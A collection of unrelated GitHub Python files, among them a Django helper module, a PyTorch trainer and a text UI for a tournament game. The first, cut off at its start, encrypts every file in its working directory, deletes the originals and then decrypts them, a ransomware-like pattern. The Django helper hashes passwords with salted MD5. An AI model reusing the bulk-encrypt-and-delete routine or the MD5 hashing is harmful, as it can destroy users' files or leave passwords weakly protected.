backend=default_backend())\n \n #decrypt the RSACipher to get the key\n key = private_key.decrypt(\n RSACipher,\n asymm.padding.OAEP(\n mgf=asymm.padding.MGF1(algorithm=hashes.SHA256()),\n algorithm=hashes.SHA256(),\n label=None\n )\n )\n #decrypt using original key\n k = key[0:32]\n hKey = key[len(k):]\n MyfileDecryptMAC(C, IV, k, filepath, ext, hKey, tag)\n \n\ndef generateKeys():\n #check if key folder exists\n folder = \"keys\"\n privkey_name = \"private_key.pem\"\n pubkey_name = \"public_key.pem\"\n files = os.listdir()\n if folder not in files:\n #create keys folder\n os.mkdir(folder)\n \n #os.chdir(folder)\n #check if keys exist\n files = os.listdir(folder)\n priv_exist = privkey_name in files\n pub_exist = pubkey_name in files\n #keys dont exist\n if priv_exist is True and pub_exist is True:\n print(\"Keys have been found!!\")\n return True\n \n # key info(\n key = rsa.generate_private_key(\n backend=default_backend(), \n public_exponent=65537,\n key_size=2048)\n # private key\n private_pem = key.private_bytes(\n encoding=serialization.Encoding.PEM,\n format=serialization.PrivateFormat.TraditionalOpenSSL,\n encryption_algorithm=serialization.NoEncryption()\n )\n #write private key to file\n with open(folder + \"\\\\\" + privkey_name, 'wb') as file:\n file.write(private_pem)\n file.close()\n \n #create a public key\n public = key.public_key()\n public_pem = public.public_bytes(\n encoding=serialization.Encoding.PEM,\n format=serialization.PublicFormat.SubjectPublicKeyInfo\n )\n #write pub key to file\n with open(folder + \"\\\\\" + pubkey_name, 'wb') as file:\n file.write(public_pem)\n file.close()\n print(\"Keys have been created!!\")\n return False\n \n\t\ndef startEncrypt():\n files = os.listdir()\n \n if \"keys\" in files:\n files.remove(\"keys\")\n if \"FileEncryptMac.exe\" in files:\n files.remove(\"FileEncryptMac.exe\")\n \n for file_name in files:\n print(\"Encrypting \" + file_name + \"...\") \n RSACipher, C, IV, ext, tag = MyRSAEncrypt(file_name, \"keys/public_key.pem\") \t\n \n fname = os.path.splitext(str(file_name))[0]\n #decode into latin-1 to write to json (utf-8 doesnt work)\n js = {\n \"RSACipher\": RSACipher.decode('latin-1'),\n \"C\": C.decode('latin-1'),\n \"IV\": IV.decode('latin-1'),\n \"ext\": ext,\n \"tag\": tag.decode('latin-1') \n } \n #store in json file \n with open(fname + '.json', 'w') as outfile:\n json.dump(js, outfile, indent=4)\n #remove original files\n os.remove(file_name)\n \t\t\ndef startDecrypt():\t\n files = os.listdir()\n \n if \"keys\" in files:\n files.remove(\"keys\")\n if \"FileEncryptMac.exe\" in files:\n files.remove(\"FileEncryptMac.exe\")\n\n for file_name in files: \n #opens the json file\n with open(file_name, 'r') as re:\n s = json.load(re)\n #get filename w/e extension\n fname = os.path.splitext(str(file_name))[0]\n \n print(\"Decrypting \" + file_name + \"...\")\n #encrypted file data\n xRSACipher = bytes(s[\"RSACipher\"], 'latin-1')\n xC = bytes(s[\"C\"], 'latin-1')\n xIV = bytes(s[\"IV\"], 'latin-1')\n xExt = s[\"ext\"]\n xTag = bytes(s[\"tag\"], 'latin-1')\n MyRSADecrypt(xRSACipher, xC, xIV, fname, xExt, \"keys/private_key.pem\", xTag)\n #remove json files\n os.remove(file_name)\n\nimport time\n\ngenerateKeys()\nstartEncrypt()\ntime.sleep(5)\nstartDecrypt()\ntime.sleep(5)\n","repo_name":"lydarren/File-Encryption","sub_path":"FileEncryptMac.py","file_name":"FileEncryptMac.py","file_ext":"py","file_size_in_byte":7702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"10329383634","text":"from __future__ import division\nimport sys\nsys.path.append(\"..\")\n\nfrom sequencer.sequencer_base import Sequencer\nimport random\nfrom constants.task_constants import *\n\nclass SequencerBlockRetry(Sequencer):\n \n def __init__(self, trialSet):\n self.trialSet = trialSet\n self.resetBlock()\n self.currentTrial = None\n \n def resetBlock(self):\n self.block = []\n self.block.extend(self.trialSet)\n \n def getNextTrial(self, trialResult):\n if len(self.block) == 0:\n self.resetBlock()\n if trialResult == Results.HIT or trialResult == Results.CORRECT_REJECT or self.currentTrial == None:\n self.currentTrial = self.block.pop(random.randint(0,len(self.block)-1))\n return self.currentTrial\n else:\n return self.currentTrial\n","repo_name":"fitzlab/ShrewDriver","sub_path":"ShrewDriver/sequencer/block_retry.py","file_name":"block_retry.py","file_ext":"py","file_size_in_byte":830,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"17223035940","text":"import logging, os\nfrom logging import config\nimport page_processor\nfrom page_processor import Page, AlamedaPageProcessor\nimport yaml\n\ndef setup_logging(\n default_path='logging.yaml', \n default_level=logging.INFO,\n env_key='LOG_CFG'\n):\n \"\"\"Setup logging configuration\n\n \"\"\"\n path = default_path\n value = os.getenv(env_key, None)\n if value:\n path = value\n if os.path.exists(path):\n with open(path, 'rt') as f:\n config = yaml.load(f.read())\n logging.config.dictConfig(config)\n else:\n logging.basicConfig(level=default_level)\n\nif __name__ == '__main__':\n\tsetup_logging()\n\tlogger = logging.getLogger(__name__)\n\tlogger.info('starting main task')\n\tpage_processor.run()\n\tlogger.info('ended main task')\n","repo_name":"rjweiss/rjweiss.github.io","sub_path":"Stanford/ancestry/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35352215618","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @File : utils.py\n# @Author: Wade Cheung\n# @Date : 2019/8/11\n# @Desc : get ip; encrypt; 缓存和获取所有博客的tags\n\n\nimport html\nimport re\nfrom hashlib import md5\nfrom django.conf import settings\nfrom django.core.cache import cache\n\nfrom blog.models import Tag, Blog, Catagory\n\n\ndef getIP(request):\n \"\"\"\n get request ip\n :param request:\n :return:\n \"\"\"\n if request.META.get('HTTP_X_FORWARDED_FOR'):\n ip = request.META['HTTP_X_FORWARDED_FOR']\n else:\n ip = request.META['REMOTE_ADDR']\n\n return ip\n\n\ndef gainCipher(password, salt=settings.MD5_SALT):\n \"\"\"\n 密码加盐加密\n :param password:\n :param salt:\n :return:\n \"\"\"\n if password:\n m1 = md5()\n m1.update(password.encode('utf-8'))\n p = m1.hexdigest()\n m2 = md5()\n m2.update((p + salt).encode('utf-8')) # 加盐\n p = m2.hexdigest()\n return p\n\n return None\n\n\ndef get_tags_dict(new=False):\n \"\"\"\n 缓存和获取所有博客的tags\n :return: {'blog_id':'tag1 tag2'}\n \"\"\"\n if new:\n tags_dict = None\n else:\n tags_dict = cache.get('tags_dict')\n\n if not tags_dict:\n tags_list = Tag.objects.all().values_list('blog', 'blog__tags__name')\n tags_dict = {}\n for item in tags_list:\n if item[0] in tags_dict:\n if item[1] not in tags_dict[item[0]]:\n tags_dict[item[0]].append(item[1])\n elif item[0]:\n tags_dict[item[0]] = [item[1]]\n\n tags_dict = {key: ' '.join(tags_dict[key]) for key in tags_dict}\n cache.set('tags_dict', tags_dict, 3600 * 24 * 30)\n\n return tags_dict\n\n\ndef get_desc(blog_id=0):\n \"\"\"\n 缓存和获取所有description, 0存的是所有的title, 其他id存内容\n :return: {0:'all title', blog_id:'contet'}\n \"\"\"\n desc_dict = cache.get('desc_dict')\n if not desc_dict or not desc_dict.get(blog_id):\n desc_dict = {}\n tags = Tag.objects.all().filter(isDelete=False).values('name', 'remark')\n titles = ' '.join([tag['name'] + ' ' + tag['remark'] for tag in tags])\n categorys = Catagory.objects.all().filter(isDelete=False).values('name', 'remark')\n titles += ' '.join([category['name'] + ' ' + category['remark'] for category in categorys])\n\n blogs = Blog.objects.all().filter(isDraft=False, isDelete=False).values('id', 'title', 'content')\n for blog in blogs:\n titles += blog['title'] + ' '\n\n pattern = re.compile(r'.*?', re.S)\n res = re.sub(pattern, '', blog['content'])\n if res:\n pattern = re.compile(r'<.*?>|\\n|\\r|\\t| ', re.S)\n res = re.sub(pattern, '', res)\n res = html.unescape(res).strip()\n desc_dict[blog['id']] = res or ' '\n\n desc_dict[0] = titles\n cache.set('desc_dict', desc_dict, 3600 * 24 * 30)\n return '张文迪 博客 ' + desc_dict[blog_id]\n","repo_name":"00wendi00/blog-project","sub_path":"blog/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3020,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"17299628248","text":"\nfrom openpyxl.styles import PatternFill, Border, Side, Font, colors, Alignment\nfrom openpyxl.utils import get_column_letter\n\n\ndef editExcelTitle(ws, table, idx):\n title = ['序号', '字段定义', '字段类型', '精度', '字符集', '是否可为空', '索引', '默认值', '额外备注', '注释']\n idx = 1\n fill = PatternFill(\"solid\", fgColor=\"fcd5b4\")\n border = Border(left=Side(border_style='thin', color='000000'),\n right=Side(border_style='thin', color='000000'),\n top=Side(border_style='thin', color='000000'),\n bottom=Side(border_style='thin', color='000000'))\n for t in title:\n ws.cell(row=4, column=idx).value = t\n d = ws.cell(row=4, column=idx)\n d.fill = fill\n d.border = border\n idx += 1\n\n ws.merge_cells('A2:A4')\n top_left_cell = ws['A2']\n top_left_cell.value = 'No'\n top_left_cell.fill = fill\n top_left_cell.border = border\n ws['B2'] = '表中文名称'\n ws['B3'] = '表英文名称'\n ws['C3'] = table\n link = '#Sheet!A' + str(idx)\n ws['A1'].value = '=HYPERLINK(\"%s\", \"%s\")' % (link, '返回')\n\ndef createLink(wb,sheet,index):\n sheettitle = ['No','表名','表定义','描述']\n fill = PatternFill(\"solid\", fgColor=\"fcd5b4\")\n green = PatternFill(\"solid\", fgColor=\"ffcc66\")\n border = Border(left=Side(border_style='thin', color='000000'),\n right=Side(border_style='thin', color='000000'),\n top=Side(border_style='thin', color='000000'),\n bottom=Side(border_style='thin', color='000000'))\n ws = wb.get_sheet_by_name(\"Sheet\")\n link = '#' + sheet + '!A1'\n for key in range(1,len(sheettitle)):\n ws.cell(row=1, column=key).value = sheettitle[key-1]\n ws.cell(row=1, column=key).fill = fill\n ws.column_dimensions[get_column_letter(key + 1)].width = 40\n ws.cell(row=1, column=key).border = border\n ws.column_dimensions[get_column_letter(1)].width = 10\n ws['B' + str(index)].value = '=HYPERLINK(\"%s\", \"%s\")' % (link, sheet)\n ws['B' + str(index)].font = Font(u='single', color=colors.BLUE)\n ws['A' + str(index)].value = index -1\n aligmentCenter = Alignment(horizontal='center', vertical ='center')\n ws['A' + str(index)].alignment = aligmentCenter\n ws['A' + str(index)].fill = green\n ws['A' + str(index)].border = border\n\ndef writeBorder(ws):\n border = Border(left=Side(border_style='thin', color='000000'),\n right=Side(border_style='thin', color='000000'),\n top=Side(border_style='thin', color='000000'),\n bottom=Side(border_style='thin', color='000000'))\n ws.border = border\n","repo_name":"Somersames/dbExcel","sub_path":"db/ExcelTitle.py","file_name":"ExcelTitle.py","file_ext":"py","file_size_in_byte":2716,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"40437523429","text":"from abc import ABC, abstractmethod\nimport os\nimport time\nfrom tqdm import tqdm\n\nimport summaries\nimport torch\n\nclass Dataset(ABC):\n\n @property\n @abstractmethod\n def N(self):\n raise NotImplementedError\n\n @abstractmethod\n def sample(self, batch_size=None, eval=False):\n raise NotImplementedError\n\nclass Trainer(ABC):\n \"\"\"This class orchestrates training, including managing:\n - Train / test frequenceis.\n - Calling gradients / optimizer.\n - Checkpointing.\n - Gathering and saving summaries.\n \"\"\"\n # TODO(eholly1): Checkpointing.\n # TODO(eholly1): Summaries.\n\n def __init__(self, model, dataset, optim_cls=torch.optim.Adam, learning_rate=1e-5):\n assert issubclass(type(model), torch.nn.Module)\n self._model = model\n assert issubclass(dataset.__class__, Dataset)\n self._dataset = dataset\n self._optimizers = [\n optim_cls(params=p, lr=learning_rate)\n for p in self._parameters()\n ]\n self._global_step = 0\n\n @abstractmethod\n def _parameters(self):\n \"\"\"Get the parameters to train.\n Returns: A list of parameter iterators. Each iterator in\n the list should be given its own optimizer. The the parameter\n iterators in order correspond to the loss functions returned by\n inference_and_loss.\n \"\"\"\n raise NotImplementedError\n\n @abstractmethod\n def _inference_and_loss(self, sample_data):\n \"\"\"Perform inference and compute loss on samples.\n Args:\n sample_data: A sample of data with which to compute loss.\n Returns:\n A list of loss Tensors, corresponding element-wise to the list of\n optimizers.\n \"\"\"\n raise NotImplementedError\n\n def _initialize(self, dataset):\n \"\"\"Perform any training initialization needed.\"\"\"\n pass\n\n @property\n def model(self):\n return self._model\n\n @property\n def global_step(self):\n return self._global_step\n\n def train_and_eval(\n self,\n log_dir,\n train_steps,\n eval_every=None,\n after_eval_callback=None,\n ):\n if eval_every is None:\n eval_every = int(train_steps / 20)\n self._global_step = 0\n\n self._initialize(self._dataset)\n\n # Initial eval.\n self.print('Running initial eval.')\n with summaries.Scope(path='eval'):\n self._eval()\n if after_eval_callback:\n after_eval_callback()\n\n self._model.save(os.path.join(log_dir, 'policy')) \n\n # Training Iterations\n while self.global_step < train_steps:\n\n # Run training.\n self.print('Running training.')\n with summaries.Scope(path='train'):\n for _ in tqdm(range(eval_every)):\n self._global_step += 1\n self._train()\n if self.global_step >= train_steps:\n break\n\n # Perform eval.\n self.print('Running eval.')\n with summaries.Scope(path='eval'):\n self._eval()\n\n self._model.save(os.path.join(log_dir, 'policy'))\n\n # After eval callback.\n if after_eval_callback:\n after_eval_callback()\n\n def print(self, *args):\n args = [\"[{}]\\t\".format(self.global_step)] + list(args)\n print_str = (\"{}\" * len(args)).format(*args)\n print(print_str)\n\n def _train(self, sample_data=None):\n start_time = time.time()\n self._model.train() # Put model in train mode.\n if sample_data is None:\n sample_data = self._dataset.sample()\n losses = self._inference_and_loss(sample_data)\n for i, (opt, loss) in enumerate(zip(self._optimizers, losses)):\n loss = torch.mean(loss)\n summaries.add_scalar('_performance/loss', loss, self.global_step)\n\n opt.zero_grad()\n loss.backward(retain_graph=(i+1 != len(losses)))\n opt.step()\n\n # Summarize timing.\n total_time = time.time() - start_time\n steps_per_sec = 1 / total_time\n summaries.add_scalar('misc/train_steps_per_sec', steps_per_sec, self.global_step)\n\n if hasattr(self._model, \"reset\"):\n self._model.reset()\n\n return losses\n\n def _eval(self):\n with torch.no_grad():\n self._model.eval() # Put model in eval mode.\n start_time = time.time()\n sample_data = self._dataset.sample(batch_size=float('inf'), eval=True)\n losses = self._inference_and_loss(sample_data)\n total_time = time.time() - start_time\n\n # Summarize timing.\n steps_per_sec = 1 / total_time\n summaries.add_scalar('misc/eval_steps_per_sec', steps_per_sec, self.global_step)\n\n if hasattr(self._model, \"reset\"):\n self._model.reset()\n \n return losses","repo_name":"eholly1/reflexnet","sub_path":"reflexnet/trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":4427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74619851715","text":"#2129. Capitalize the Title \n#Difficulty: Easy\n\n#Description: You are given a string title consisting of one or more words separated by a single space, \n# where each word consists of English letters. Capitalize the string by changing the capitalization of each word such that:\n\n# If the length of the word is 1 or 2 letters, change all letters to lowercase.\n# Otherwise, change the first letter to uppercase and the remaining letters to lowercase.\n\n#Return the capitalized title.\n\n#Progress: Completed \n\ndef capitalizeTitle(title: str) -> str:\n sentence = \"\"\n for word in title.lower().split(\" \"):\n if len(word) > 2:\n sentence += word.capitalize() + \" \"\n continue\n sentence += word + \" \"\n return sentence.rstrip()\nprint(capitalizeTitle(\"First leTTeR of EACH Word\"))","repo_name":"ChoyonUddin/LeetCode","sub_path":"Completed/CapitalizeTheTitle.py","file_name":"CapitalizeTheTitle.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17547369302","text":"import abc\nfrom os import system\nimport os\nfrom enum import Enum\n\nMIN_LENGTH_USERNAME = 3\nMAX_LENGTH_USERNAME = 10\nAI_MAX_DIFFICULTY = 3\nAI_DIFFS = [\"Easy\", \"Medium\", \"Hard\"]\n\n\nclass bcolors:\n HEADER = '\\033[95m'\n ERROR = '\\033[91m\\033[1m'\n DIM = '\\33[90m'\n OKBLUE = '\\033[94m'\n OKGREEN = '\\033[92m'\n WARNING = '\\033[93m'\n BG = '\\33[100m'\n FAIL = '\\033[91m'\n ENDC = '\\033[0m'\n BOLD = '\\033[1m'\n UNDERLINE = '\\033[4m'\n\n\nclass State(Enum):\n MAIN_MENU = 1\n CREATE_SERVER = 2\n JOIN_SERVER = 3\n START_SERVER = 4\n TOURNAMENT_ENDED = 5\n IN_GAME_LOBBY = 6\n QUIT = 7\n ONE_V_ONE = 8\n TOURNAMENT = 9\n\n\ndef _clear():\n \"\"\"\n Used to clear the interface from text\n :return: None\n \"\"\"\n system('cls' if os.name == \"nt\" else \"clear\")\n\n\ndef _collect_input(message):\n print(message)\n return input(f'{bcolors.OKBLUE}\\nEnter a number: {bcolors.ENDC}')\n\n\nclass TextUI:\n def __init__(self, main, server_size):\n self._main = main\n self._server_size = server_size\n\n def in_game_lobby(self, tournament):\n \"\"\"\n Used to print the in-game lobby while playing a tournament\n :param tournament: The tournament that is being played\n :return: None\n \"\"\"\n _clear()\n players = tournament.get_players()\n\n print(f'{bcolors.BOLD}{bcolors.OKGREEN}GAME LOBBY\\n{bcolors.ENDC}')\n pos = 'Pos'\n player = 'Player'\n wins = 'W/T/L'\n score = 'Score'\n\n print(\n f'{bcolors.BOLD}LEADERBOARD:\\n\\n{pos:<10} {player:<10} {score:<10} {wins:<10}{bcolors.ENDC}')\n for i, player in enumerate(players):\n print(\n f'{i + 1 :<10} {player.username:<10} {player.get_score():<10} {player.get_win_tie_loss_ratio():<10}')\n\n upcoming_matches = tournament.get_not_played_matches()\n print(f'\\n{bcolors.BOLD}UPCOMING MATCHES:{bcolors.ENDC}')\n white = 'WHITE'\n black = 'BLACK'\n print(f'{white:^10} vs {black:^10}\\n')\n for match in upcoming_matches:\n p1 = match[0]\n p2 = match[1]\n print(f'{p1:<10} vs {p2:>10}')\n\n played_matches = tournament.get_played_matches()\n print(f'\\n{bcolors.BOLD}PLAYED MATCHES:{bcolors.ENDC}')\n white = 'WHITE'\n black = 'BLACK'\n print(f'{white:^10} vs {black:^10}\\n')\n for match_tpl in played_matches:\n p1, p2 = match_tpl[0]\n winner = match_tpl[1]\n if winner is None:\n winner = 'Tie'\n else:\n winner = f'{match_tpl[0][winner].username} won!'\n\n print(f'{p1.username:<10} vs {p2.username:>10} Result: {winner}')\n\n print('\\nWaiting for your game to start...\\n')\n\n def post_game_lobby(self, tournament):\n _clear()\n players = tournament.get_players()\n print(f'{bcolors.OKGREEN}{bcolors.BOLD}RESULTS{bcolors.ENDC}\\n')\n pos = 'Pos'\n player = 'Player'\n wins = 'W/T/L'\n score = 'Score'\n\n print(\n f'{bcolors.BOLD}{pos:<10} {player:<10} {score:<10} {wins:<10}{bcolors.ENDC}')\n for i, player in enumerate(players):\n print(\n f'{i + 1 :<10} {player.username:<10} {player.get_score():<10} {player.get_win_tie_loss_ratio():<10}')\n\n played_matches = tournament.get_played_matches()\n print(f'\\n{bcolors.BOLD}PLAYED MATCHES:{bcolors.ENDC}')\n white = 'WHITE'\n black = 'BLACK'\n print(f'{white:^10} vs {black:^10}\\n')\n for match_tpl in played_matches:\n p1, p2 = match_tpl[0]\n winner = match_tpl[1]\n if winner is None:\n winner = 'Tie'\n else:\n winner = f'{match_tpl[0][winner].username} won!'\n print(f'{p1.username:<10} vs {p2.username:>10} Result: {winner}')\n\n c = _collect_input('\\n[1] BACK TO MAIN MENU\\n[2] QUIT')\n if c == '1':\n return State.MAIN_MENU\n elif c == '2':\n return State.QUIT\n else:\n self.post_game_lobby(tournament)\n\n def main_menu(self, username):\n \"\"\"\n Used to print the main menu.\n Takes input and callbacks accordingly to the input.\n :param username: The current players username\n :return: None\n \"\"\"\n _clear()\n print(f'{bcolors.HEADER}Hi {username}!\\nPlease choose one of the following options below:{bcolors.ENDC}\\n')\n print(f'{bcolors.OKGREEN}{bcolors.BOLD}MAIN MENU{bcolors.ENDC}')\n print('[1] JOIN GAME\\n[2] START GAME\\n[3] QUIT\\n')\n c = input(f'{bcolors.OKBLUE}Enter a number: {bcolors.ENDC}')\n while True:\n if c == '1':\n return State.JOIN_SERVER\n elif c == '2':\n return State.CREATE_SERVER\n elif c == '3':\n return State.QUIT\n else:\n print(f\"{bcolors.WARNING}Invalid input{bcolors.ENDC}\")\n c = input()\n\n def get_ip(self):\n \"\"\"\n Used to print the join server menu.\n Takes IP as input and callbacks to join the server\n :return: None\n \"\"\"\n _clear()\n return input(f'{bcolors.BOLD}{bcolors.OKGREEN}JOIN GAME{bcolors.ENDC}\\n{bcolors.OKBLUE}Enter IP address (or 0 to return to main menu): {bcolors.ENDC}')\n\n def _get_ai_difficulty(self):\n _clear()\n print(f'{bcolors.BOLD}{bcolors.OKGREEN}ADD AI{bcolors.ENDC}')\n print(\"\\n[1] EASY\\n[2] MEDIUM\\n[3] HARD\\n\")\n while True:\n try:\n difficulty = int(\n input(f'{bcolors.OKBLUE}Pick a difficulty: {bcolors.ENDC}'))\n if 0 < difficulty <= AI_MAX_DIFFICULTY:\n return difficulty\n else:\n print(f'{bcolors.WARNING}Invalid input{bcolors.ENDC}')\n continue\n except ValueError:\n print(f'{bcolors.WARNING}Invalid input{bcolors.ENDC}')\n continue\n\n def game_settings(self):\n \"\"\"\n Used to collect if to play a 1v1 of tournament game\n :return:\n \"\"\"\n _clear()\n c = _collect_input(\"Choose a option:\\n[1] 1v1\\n[2] Tournament\")\n if c == '1':\n return State.ONE_V_ONE\n elif c == '2':\n return State.TOURNAMENT\n else:\n self.game_settings()\n\n def pre_game_lobby(self, players, ai=None, ip=None, host=False, server_size=8):\n \"\"\"\n Used to print the pre game lobby\n :param ai: list of all AI players in the lobby\n :param players: List of all players in the lobby\n :param ip: The IP to the current lobby\n :param host: True if player is host, otherwise false\n If host, a menu is shown and input is taken.\n :param server_size: Number of slots the current server have\n :return: None\n \"\"\"\n if ai is None:\n ai = []\n _clear()\n if host:\n print(f'{bcolors.OKBLUE}Server IP: {ip}{bcolors.ENDC}')\n print(f'{bcolors.BOLD}{bcolors.OKGREEN}PRE-GAME LOBBY{bcolors.ENDC}')\n print(f'{bcolors.BOLD}Players:{bcolors.ENDC}')\n\n playerLen = len(players)\n aiLen = len(ai)\n for player in players:\n print(' ' + player)\n for i, ai in enumerate(ai):\n print(f' AI-{str(i + 1)} ({AI_DIFFS[ai-1]})')\n if host:\n print(f\" {bcolors.DIM}Open\\n{bcolors.ENDC}\" *\n (server_size - playerLen - aiLen))\n\n if host:\n print(\n f'{bcolors.DIM if playerLen + aiLen < 2 else \"\"}[1] START SERVER\\n{bcolors.ENDC}{bcolors.DIM if playerLen + aiLen >= self._server_size else \"\"}[2] ADD AI\\n{bcolors.ENDC}{bcolors.DIM if aiLen==0 else \"\"}[3] REMOVE AI\\n{bcolors.ENDC}[4] QUIT TO MAIN MENU\\n\\n{bcolors.OKBLUE}Enter a number: {bcolors.ENDC}')\n else:\n print('\\nWaiting for host to start game...')\n\n def get_ai_to_remove(self, ai):\n aiLen = len(ai)\n _clear()\n print(f'{bcolors.BOLD}{bcolors.OKGREEN}REMOVE AI{bcolors.ENDC}')\n print(\"Which AI do you want to remove?\")\n for i, ai in enumerate(ai):\n print(f'[{i+1}] AI-{str(i + 1)} ({AI_DIFFS[ai-1]})')\n\n while True:\n try:\n answer = input(\n f'\\n{bcolors.OKBLUE}Enter a number: {bcolors.ENDC}')\n answer = int(answer)\n if 0 < answer <= aiLen:\n return answer\n else:\n print(f\"{bcolors.WARNING}Invalid input{bcolors.ENDC}\")\n continue\n except ValueError:\n print(f\"{bcolors.WARNING}Invalid input{bcolors.ENDC}\")\n continue\n\n def collect_username(self, message=None):\n \"\"\"\n Asks the user for a inputted username. Max MAX_LENGTH_USERNAME characters, min MIN_LENGTH_USERNAME characters\n :return: The inputted username\n \"\"\"\n if not (message is None):\n print(message)\n username = input(\n f'{bcolors.OKBLUE}Please enter your username: {bcolors.ENDC}')\n while len(username) > MAX_LENGTH_USERNAME or len(username) < MIN_LENGTH_USERNAME:\n username = input(f'{bcolors.WARNING}Username must be between {MIN_LENGTH_USERNAME} and {MAX_LENGTH_USERNAME} characters{bcolors.ENDC}'\n f'\\n{bcolors.OKBLUE}Please enter you username: {bcolors.ENDC}')\n return username\n\n def too_many_ai(self):\n \"\"\"\n If host tries to add an ai player when the lobby is full\n \"\"\"\n print(\n f\"{bcolors.WARNING}Cannot add AI player when lobby is full{bcolors.ENDC}\")\n\n def no_ai_to_remove(self):\n \"\"\"\n If host tries to remove an AI player when there are none\n \"\"\"\n print(\n f\"{bcolors.WARNING}No AI players to remove{bcolors.ENDC}\")\n\n def failed_connect_server(self):\n _clear()\n print(\n f\"{bcolors.ERROR}Could not connect to server{bcolors.ENDC}\\nReturning to main menu...\")\n\n def failed_create_server(self):\n _clear()\n print(\n f\"{bcolors.ERROR}Could not start server{bcolors.ENDC}\\nReturning to main menu...\")\n\n def server_disconnected(self):\n _clear()\n print(f'{bcolors.ERROR}Server disconnected!\\n{bcolors.ENDC}')\n c = _collect_input(\n 'Please choose one of the following options below:\\n[1] MAIN MENU\\n[2] QUIT')\n if c == '1':\n return State.MAIN_MENU\n elif c == '2':\n return State.QUIT\n else:\n self.server_disconnected()\n","repo_name":"AntonBergaker/SPM-Group-F","sub_path":"src/communication_platform/ui/text_ui.py","file_name":"text_ui.py","file_ext":"py","file_size_in_byte":10680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"21227074106","text":"\"\"\"\n Fibonacci\n ---------\n 0 1 2 3 5 8 13 21 34 55 89 144\n + + + + + + + + + + +\n \n 0 + 1 = 2 | 1 + 2 = 3 | 2 + 3 = 5 ... ... \n \n Math Definiton: Fn = Fn-1 + Fn-2\n \n\"\"\"\n\nclass Fibonacci:\n \n def __init__(self):\n pass\n \n \n def fib1(self, n):\n fib=[0, 1]\n if n >= len(fib):\n for i in range(len(fib), n+1):\n fib.append(fib[i-1] + fib[i-2])\n return fib\n \n def fib2(self, n):\n if n == 0 or n == 1:\n return n\n a, b = 0, 1\n for i in range(2, n+1):\n temp = b\n b = a + b\n a = temp\n return b\n \n def fib3(self, n):\n __result = {0: 0, 1: 1}\n if n in __result:\n return __result[n]\n else:\n r = self.fib3(n -1) + self.fib3(n -2)\n __result[n] = r\n return r\n \n def worsefib(self, n):\n if n == 0 or n == 1:\n return n\n else:\n return self.worsefib(n-1) + self.worsefib(n-2) \n \n # in class, callback, need add self.\n \n \"\"\"\n \n Time Complexity: O(f(2^n)).\n \n it take long time while try worsefib(n >= 40).\n \n Is a bad solution.\n \"\"\" \nfib = Fibonacci()\nfibs = fib.fib1(10)\nfor i in fibs:\n print(i) \n","repo_name":"magedus/python-11","sub_path":"zhengwenjiee/week2/fibonacci.py","file_name":"fibonacci.py","file_ext":"py","file_size_in_byte":1330,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"61"} +{"seq_id":"23625574941","text":"import os\r\n\r\nh = open('sample.txt', 'r')\r\nout = open('output.txt', 'w')\r\n\r\ncases = int(h.readline())\r\n\r\nfor case in range(cases):\r\n n = int(h.readline().strip())\r\n scores = []\r\n wp = []\r\n owp = []\r\n oowp = []\r\n ans = []\r\n for i in range(n):\r\n temp = h.readline().strip()\r\n scores.append(list(temp))\r\n (w,t) = (0,0)\r\n for j in range(n):\r\n if(scores[i][j] == '1'):\r\n w = w + 1\r\n t = t + 1\r\n elif(scores[i][j] == '0'): \r\n t = t + 1\r\n wp.append(1.0 * w/t)\r\n\r\n for i in range(n):\r\n owp.insert(i,0)\r\n temp = []\r\n no = 0\r\n for j in range(n):\r\n (w,t) = (0,0)\r\n temp.insert(j,0)\r\n if(scores[i][j] == '.'):\r\n continue\r\n for k in range(n):\r\n if(scores[j][k] != '.' and i != k):\r\n if(scores[j][k] == '1'):\r\n w = w + 1\r\n t = t + 1\r\n if(t > 0):\r\n temp[j] = 1.0 * w/t\r\n no = no + 1\r\n if(no > 0): \r\n owp[i] = 1.0 * sum(temp)/no\r\n\r\n for i in range(n):\r\n (temp,t) = (0,0)\r\n for j in range(n):\r\n if(scores[i][j] != '.'):\r\n temp = temp + owp[j]\r\n t = t + 1\r\n if(t > 0):\r\n oowp.insert(i, 1.0 * temp/t)\r\n else:\r\n oowp.insert(i, 0)\r\n \r\n for i in range(n):\r\n ans.insert(i, 0.25 * wp[i] + 0.5 * owp[i] + 0.25 * oowp[i])\r\n \r\n \r\n out.write('Case #' + str(case+1) + ':\\n')\r\n for i in range(n):\r\n out.write(str(ans[i]) + '\\n')\r\n\r\nh.close()\r\nout.close()\r\n\r\n\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_81/516.py","file_name":"516.py","file_ext":"py","file_size_in_byte":1712,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74957111554","text":"import json\nimport pdb\nimport torch\nimport math\nfrom torch.optim import Adam\n\nclass Trainer(object):\n def __init__(self, config):\n self._model = config['model']\n self._lr = config['lr']\n self._chek_freq = config['chek_freq']\n self._save_path = config['save_path']\n self._max_len = config['max_len']\n self._num_epochs = config['num_epochs']\n self._train_data = config['train_data']\n self._valid_data = config['valid_data']\n self._logger = config['logger']\n self._result = config['result']\n self._device = config['device']\n \n self.optimizer = Adam(self._model.parameters(), lr=self._lr)\n self.scheduler = torch.optim.lr_scheduler.LambdaLR(self.optimizer, lr_lambda = self.rule)\n self._model.train()\n \n def rule(self, epoch):\n lamda = math.pow(0.95, 